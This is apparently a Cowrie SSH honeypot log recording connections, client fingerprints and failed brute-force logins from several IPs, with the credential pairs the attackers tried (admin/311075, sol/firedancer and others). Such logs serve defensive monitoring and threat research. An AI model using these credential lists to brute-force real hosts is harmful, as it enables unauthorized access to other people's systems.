{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"6961765601e4","protocol":"ssh","message":"New connection: 119.209.12.20:54672 (10.17.0.5:22) [session: 6961765601e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:54.196756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:54.200844Z","src_ip":"119.209.12.20","session":"6961765601e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:54.403761Z","src_ip":"119.209.12.20","session":"6961765601e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkarpass","message":"login attempt [onkar/onkarpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:55.243185Z","src_ip":"119.209.12.20","session":"6961765601e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:12:56.448485Z","src_ip":"119.209.12.20","session":"6961765601e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41996,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f59a1f5ea57","protocol":"ssh","message":"New connection: 195.178.110.218:41996 (159.203.135.109:22) [session: 4f59a1f5ea57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:33.671797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:33.675901Z","src_ip":"195.178.110.218","session":"4f59a1f5ea57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:33.755355Z","src_ip":"195.178.110.218","session":"4f59a1f5ea57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:33.993161Z","src_ip":"195.178.110.218","session":"4f59a1f5ea57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22236,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e1abfedea44","protocol":"ssh","message":"New connection: 2.57.121.112:22236 (10.17.0.5:22) [session: 4e1abfedea44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:34.254473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:34.258297Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:34.352349Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311075","message":"login attempt [admin/311075] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:34.805487Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:35.075725Z","src_ip":"195.178.110.218","session":"4f59a1f5ea57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310883","message":"login attempt [admin/310883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:35.902514Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31081975","message":"login attempt [admin/31081975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:36.999774Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310788","message":"login attempt [admin/310788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:38.098026Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310782","message":"login attempt [admin/310782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:39.195226Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:13:40.293517Z","src_ip":"2.57.121.112","session":"4e1abfedea44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35470,"dst_ip":"159.203.135.109","dst_port":22,"session":"8930425b1001","protocol":"ssh","message":"New connection: 2.57.121.112:35470 (159.203.135.109:22) [session: 8930425b1001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:52.273460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:52.277378Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:52.381489Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311075","message":"login attempt [admin/311075] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:52.871806Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310883","message":"login attempt [admin/310883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:53.977908Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31081975","message":"login attempt [admin/31081975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:55.084388Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310788","message":"login attempt [admin/310788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:56.191813Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310782","message":"login attempt [admin/310782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:57.297951Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:14:58.404784Z","src_ip":"2.57.121.112","session":"8930425b1001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":34188,"dst_ip":"10.17.0.5","dst_port":22,"session":"27ee28961721","protocol":"ssh","message":"New connection: 119.209.12.20:34188 (10.17.0.5:22) [session: 27ee28961721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:00.808757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:00.813574Z","src_ip":"119.209.12.20","session":"27ee28961721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:01.019970Z","src_ip":"119.209.12.20","session":"27ee28961721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud123","message":"login attempt [nextcloud/nextcloud123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:01.877390Z","src_ip":"119.209.12.20","session":"27ee28961721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:03.087743Z","src_ip":"119.209.12.20","session":"27ee28961721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51826,"dst_ip":"159.203.135.109","dst_port":22,"session":"657c0d6c1ba8","protocol":"ssh","message":"New connection: 2.57.122.96:51826 (159.203.135.109:22) [session: 657c0d6c1ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:52.390340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:52.394566Z","src_ip":"2.57.122.96","session":"657c0d6c1ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:52.500932Z","src_ip":"2.57.122.96","session":"657c0d6c1ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curved","password":"curved","message":"login attempt [curved/curved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:52.813844Z","src_ip":"2.57.122.96","session":"657c0d6c1ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:15:53.920449Z","src_ip":"2.57.122.96","session":"657c0d6c1ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45804,"dst_ip":"159.203.135.109","dst_port":22,"session":"758ce176f130","protocol":"ssh","message":"New connection: 195.178.110.218:45804 (159.203.135.109:22) [session: 758ce176f130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:16:11.524954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:16:11.529591Z","src_ip":"195.178.110.218","session":"758ce176f130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:16:11.604384Z","src_ip":"195.178.110.218","session":"758ce176f130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:16:11.829149Z","src_ip":"195.178.110.218","session":"758ce176f130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:16:12.905735Z","src_ip":"195.178.110.218","session":"758ce176f130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":41932,"dst_ip":"10.17.0.5","dst_port":22,"session":"df2ba11e953c","protocol":"ssh","message":"New connection: 119.209.12.20:41932 (10.17.0.5:22) [session: df2ba11e953c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:17:02.914548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:17:02.919003Z","src_ip":"119.209.12.20","session":"df2ba11e953c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:17:03.124525Z","src_ip":"119.209.12.20","session":"df2ba11e953c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benson","password":"Benson123!","message":"login attempt [benson/Benson123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:17:03.979980Z","src_ip":"119.209.12.20","session":"df2ba11e953c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:17:05.187534Z","src_ip":"119.209.12.20","session":"df2ba11e953c","protocol":"ssh"}
